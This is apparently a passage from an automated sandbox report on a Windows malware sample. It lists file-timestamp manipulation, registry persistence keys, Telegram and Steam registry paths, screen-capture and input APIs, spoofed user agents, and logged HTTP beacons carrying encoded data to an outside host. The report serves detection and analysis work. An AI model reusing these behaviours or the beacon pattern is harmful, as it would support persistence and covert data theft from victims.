"dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "SetAttributes" in "dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "SetCreationTimeUtc" in "dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastAccessTimeUtc" in "dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTimeUtc" in "dllhost.exe" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTime" in "dllhost.exe" Observed Namespace "System.IO.FileSystemInfo" and MemberReference "get_Attributes" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "GetAttributes" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "SetAttributes" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "SetCreationTimeUtc" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "SetLastAccessTimeUtc" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTimeUtc" in "RCX39E1.tmp" Observed Namespace "System.IO.File" and MemberReference "SetLastWriteTime" in "RCX39E1.tmp" Observed Namespace "System.IO.FileSystemInfo" and MemberReference "get_Attributes" in "RCX2E95.tmp" Observed Namespace "System.IO.File" and MemberReference "GetAttributes" in "RCX2E95.tmp" Observed Namespace "System.IO.File" and MemberReference "SetAttributes" in "RCX2E95.tmp" Observed Namespace "System.IO.File" and MemberReference "SetCreationTimeUtc" in "RCX2E95.tmp"4e:T12fc,"Software\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 600040d-Yx8Zo044MICavgtgi6vbXjF6U4SISF0yRUC1iI~GqvRDbcQY9 "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" in Source: 600040d-Yx8Zo044MICavgtgi6vbXjF6U4SISF0yRUC1iI~GqvRDbcQY9 "HKEY_CLASSES_ROOT\\tdesktop.tg\\shell\\open\\command" in Source: 60004d1-jCWImf4iSBidpcXs0Jv~fKH8RPkKBQ "SOFTWARE\\Valve\\Steam" in Source: 60004d3-jCWImf4iSBidpcXs0Jv~dxy88PG7Xr "Software\\\\" in Source: 6000703-QyNefRCq28VOUj5QFW2~Am7ZViiEed "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" in Source: 6000744-cctor "SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\\" in Source: 600079a-CyGujjCvU5eU5LRL71H~eVuAevCj6v "SOFTWARE\Policies\Microsoft\Windows\Task Scheduler5.0" in Source: 00000000-00000364.00000000.67925.E13C6000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule" in Source: 00000000-00000364.00000000.67925.E13C6000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001248.00000001.70432.9BE40000.00000004.mdmp 00000000-00001248.00000002.72351.9BE40000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001248.00000001.70432.9BE40000.00000004.mdmp 00000000-00001248.00000002.72351.9BE40000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}e" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6" in Source: 00000000-00001248.00000002.72351.B6380000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00001248.00000002.72351.FF368000.00000002.mdmp "HKLM\" in Source: 00000000-00001248.00000002.72351.FF368000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00001248.00000002.72351.FF368000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001248.00000002.72351.FF368000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001248.00000002.72351.FF368000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001292.00000001.70452.334C0000.00000004.mdmp 00000000-00001292.00000002.72371.334C0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001292.00000001.70452.334C0000.00000004.mdmp 00000000-00001292.00000002.72371.334C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001292.00000001.70452.334C0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001292.00000001.70452.334C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001292.00000001.70452.334C0000.00000004.mdmp 00000000-00001292.00000002.72371.334C0000.00000004.mdmp4f:T733,Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "SetValue" in "RCX27AE.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "DeleteValue" in "RCX27AE.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "CreateSubKey" in "RCX27AE.tmp"50:T727,Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "dllhost.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "RCX39E1.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "RCX2E95.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "RCX34CF.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "RCX27AE.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "RCX27AE.tmp" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "RCX27AE.tmp"51:T1ae9,"a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "a45e2d72a3718dd27e9b0703307a2e4a.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AutoIt3_x64.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135]52:T473,"a45e2d72a3718dd27e9b0703307a2e4a.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "dllhost.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RCX39E1.tmp" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RCX2E95.tmp" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RCX34CF.tmp" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RCX27AE.tmp" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT53:T82c,Observed unmanaged function "EnumDisplaySettings" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetMessageExtraInfo" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "CloseHandle" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "DestroyIcon" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "DeleteObject" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "SelectObject" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "CreateCompatibleDC" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetDesktopWindow" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "BitBlt" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "CreateDC" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "DeleteDC" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "SetCursorPos" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "mouse_event" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "QueryFullProcessImageName" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetCursorInfo" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "CopyIcon" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetIconInfo" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetForegroundWindow" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "GetWindowText" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "waveInGetNumDevs" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "waveInGetDevCaps" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "SendInput" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "SuspendThread" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed unmanaged function "ResumeThread" in "a45e2d72a3718dd27e9b0703307a2e4a.exe"54:T7d5,Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29" (Indicator: "mozilla/5.0 ("; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe")55:Te36,"GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: fwjfiwmail.temp.swtest.ru Connection: Keep-Alive" Response ==> HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.23.2 Date: Fri 26 Jan 2024 10:56:04 GMT Content-Type: text/html Content-Length: 338767 Connection: keep-alive Keep-Alive: timeout=10 ETag: "65a7ef6a-52b4f" with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D227275223E0A3C686561643E0A202020203C6D65746120636861727365743D227574662D38....... "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: fwjfiwmail.temp.swtest.ru" Response ==> HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.23.2 Date: Fri 26 Jan 2024 10:56:06 GMT Content-Type: text/html Content-Length: 338767 Connection: keep-alive Keep-Alive: timeout=10 ETag: "65a7ef6a-52b4f" with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D227275223E0A3C686561643E0A202020203C6D65746120636861727365743D227574662D38....... "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: fwjfiwmail.temp.swtest.ru Connection: Keep-Alive" Response ==> HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.23.2 Date: Fri 26 Jan 2024 10:56:32 GMT Content-Type: text/html Content-Length: 338767 Connection: keep-alive Keep-Alive: timeout=10 ETag: "65a7ef6a-52b4f" with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D227275223E0A3C686561643E0A202020203C6D65746120636861727365743D227574662D38....... "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: fwjfiwmail.temp.swtest.ru" Response ==> HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.23.2 Date: Fri 26 Jan 2024 10:56:33 GMT Content-Type: text/html Content-Length: 338767 Connection: keep-alive Keep-Alive: timeout=10 ETag: "65a7ef6a-52b4f" with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D227275223E0A3C686561643E0A202020203C6D65746120636861727365743D227574662D38.......56:T66f2,"a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "KERNEL32" at base 25220000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 21850000 "a45e2d72a3718dd27e9b0703307a2e4a.exe" loaded module 